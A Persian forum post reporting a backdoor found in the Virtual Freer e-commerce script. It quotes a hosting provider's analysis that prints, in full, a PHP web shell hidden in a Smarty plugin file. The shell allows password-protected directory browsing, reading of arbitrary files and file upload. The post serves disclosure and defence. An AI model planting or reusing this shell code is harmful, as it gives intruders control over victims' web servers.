نمایش نتایج: از شماره 1 تا 10 , از مجموع 4593

موضوع: اسکریپت رایگان فروش کارت‌های شارژ و محصولات مجازی Virtual Freer

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #9
    عضو جدید
    تاریخ عضویت
    May 2011
    نوشته ها
    6
    تشکر تشکر کرده 
    3
    تشکر تشکر شده 
    6
    تشکر شده در
    5 پست

    پیش فرض پاسخ : اخطار امنیتی - گزارش باگ

    نقل قول نوشته اصلی توسط us12 نمایش پست ها
    1- فریر را از کجا دانلود کردید ؟ از سایت اصلی فریر freer.ir یا سایت های اسکریپت رایگان ؟

    2- اگر شما از این پکیچ استفاده کنید :
    http://www.softiran.org/view-item/97...safe-pack.html
    دسترسی اجرا شل در تمامی این فولدر ها قطع میشود و اگر شل هم روی هاست شما باشد کسی نمیتواند از آن استفاده کند.

    3- اسمارتی یک کتابخانه است ، شما میتواند کل فولدر اسمارتی را از روی هاست حذف کنید و آخرین ورژن را از این سایت دانلود :
    http://www.smarty.net/download
    کنید و از آن استفاده کنید .

    فقط حتما بعد از به روز رسانی اسمارتی محتوایات فولدر templates_c را حذف کنید .

    از خود سایت اصلی دانلود کرده بودم

    - - - Updated - - -

    نقل قول نوشته اصلی توسط Alirezayb نمایش پست ها

    طراح هم در جواب بهم گفتن که برم از سایت و دوباره دانلود کنم

    و باز به مدیر هاست گفتم و ایشون باز یه ارور دیگه گرفتن و من باز برای طراح اسکریپت فرستادم که اصلاح کنن , اما 3 روزه که خبری نشده

    کد PHP:
    سلام مجدد


    این رو هم بخونید لطفا



    با سلام خدمت شما

    در فایل آرشیو جدید ارسالی کدهای مخرب شناسایی شده حذف شده اند
    اما یک مورد کد بکدور دیگر که قبلا شناسایی نشده بود در فایل

    virtual_freer_v1.58
    /include/libs/smarty/plugins/function.engine.php

    مشاهده شد
    این کد نیز یک کد بکدور برای آپلود فایل دلخواه می باشد.

    کد شناسایی شده به شرح زیر است:

    ============

    $user='16d1a558492edec3ed7775be2942c1cd';
    $pass='16d1a558492edec3ed7775be2942c1cd';

    if (
    $_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" ||   md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"])   !=$pass) {
        
    header("HTTP/1.0 401 Unauthorized");
        
    header("WWW-Authenticate: Basic realm=\"eshghi");
        echo 
    "<h1>Authorization Required.</h1>";
        die();
    }else{
    error_reporting(0);
    set_magic_quotes_runtime(0);
    if(
    strtolower(substr(PHP_OS03)) == "win"){$s="\\";
    }else{
    $s="/";
    }
    $ad=$_REQUEST['ad'];
    if (
    $ad){chdir($ad);}else{$ad=getcwd();
    }if (
    $_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
    if (
    $hr opendir($ad)) {while($f readdir($hr)){if(is_dir($f)){$df=$df.$f.'
    '
    ;}else{$lf=$lf.$f.'
    '
    ;}}closedir($hr);
    }
    $form='<form action="'.$_SERVER['PHP_SELF'].'" method=post>';
    echo 
    '<center><textarea cols=90 rows=20>';
    if(
    $_GET['cme']){opendir($_GET['cme']);
    }else{echo 
    $df.$lf;};
    echo
    '</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'>
    <input type=submit value=Go></form>'
    .$form.'Read File : <input name=cme size=50 value=id>
     <input type=submit value=Read!></form>
     <form action="'
    .$me.'" method=post enctype=multipart/form-data>
     Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='
    .getcwd().'>
     <input type=submit value=Send></form><br>'
    ;

     if(isset (
    $_POST['cme'])){
    $myFile $_POST['cme'];
    $fh fopen($myFile'r');
    if(
    $theData fread($fhfilesize($myFile))){
    fclose($fh);
    echo 
    '<textarea clos=90 rows=20>'.$theData.'</textarea>';
    }
    else{
    echo 
    "File Could Not Found!!";
    }}}

    ?>

    ============

    با توجه به این اطلاعات ظاهرا کد آرشیو به صورت کامل توسط طراح اسکریپت   بررسی و پاکسازی نشده است. اطمینان کامل از عدم وجود کدهای مخرب تنها با   بررسی دقیق کدهای تمامی اسکریپتها امکانپذیر می باشد در غیر اینصورت  تضمینی  برای شناسایی تمامی کدهای مخرب وجود ندارد(کما اینکه در بررسی  اولیه انجام  شده  کد مورد اشاره در بالا شناسایی نشده بود). با توجه به   این موضوع پیشنهاد می شود تا بررسی کامل فایلهای آرشیو نصب اسکریپت که  ممکن  است چند روز به زمان نیاز داشته باشد از نصب این اسکریپت بر روی  سرویس خود  پرهیز نمایید. البته در صورت نگهداری آرشیو های جداگانه از  فایلها و  نگهداری هش تمامی فایلهای بسته در یک محل امن و یا استفاده از  ابزازهای  مدیریت سوروس برنامه هایی مانند
    git
    برای مدیریت و نگهداری سورس برنامه توسط طراح اسکریپت، به راحتی امکان   شناسایی چنین نفوذها و دستکاری هایی و اصلاح سریع آنها توسط طراح وجود   خواهد داشت. 

    این رو هم فرستادم اما خبری نشد

    از دوستان کسی هست که بتونه این مشکل رو برطرف بکنه ؟

    در مورد بخش دوم که جواب نداده بودن هم ایشون جواب ایمیل من و ریپورت باگ رو اینچنینی دادن :

    سلام

    فایل گزارش شده را کامل پاک کنید.
    //

    در حال برنامه ریزی برای نسخه دوم فریر هستیم و پشتیبانی و رفع مشکلات نسخه جاری را به حداقل رساندیم و فقط مشکلاتی که گزارش می‌شود را رفع می کنیم. اگر فایل مشکل دار دیگری یافتید اطلاع دهید.
    ویرایش توسط Alirezayb : November 30th, 2015 در ساعت 23:37

  2. تعداد تشکر ها از Alirezayb به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 3 کاربر در حال مشاهده این موضوع است. (0 کاربران و 3 مهمان ها)

موضوعات مشابه

  1. اسکریپت فروشگاهی Virtual Freer نسخه 1.58 جدید منتشر شد
    توسط مینا-صیفی در انجمن اسکریپت های دیگر
    پاسخ ها: 22
    آخرين نوشته: June 8th, 2023, 05:07
  2. مشکل در نمایش اطلاعات در اسکریپت Virtual Freer
    توسط hassan_shahi در انجمن اسکریپت های دیگر
    پاسخ ها: 7
    آخرين نوشته: October 14th, 2018, 12:13
  3. آپلود نشدن تصویر محصول در Virtual Freer
    توسط kianesfahan در انجمن اسکریپت های دیگر
    پاسخ ها: 6
    آخرين نوشته: February 5th, 2015, 17:01
  4. پاسخ ها: 0
    آخرين نوشته: September 20th, 2014, 14:21
  5. پاسخ ها: 0
    آخرين نوشته: November 6th, 2011, 15:47

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •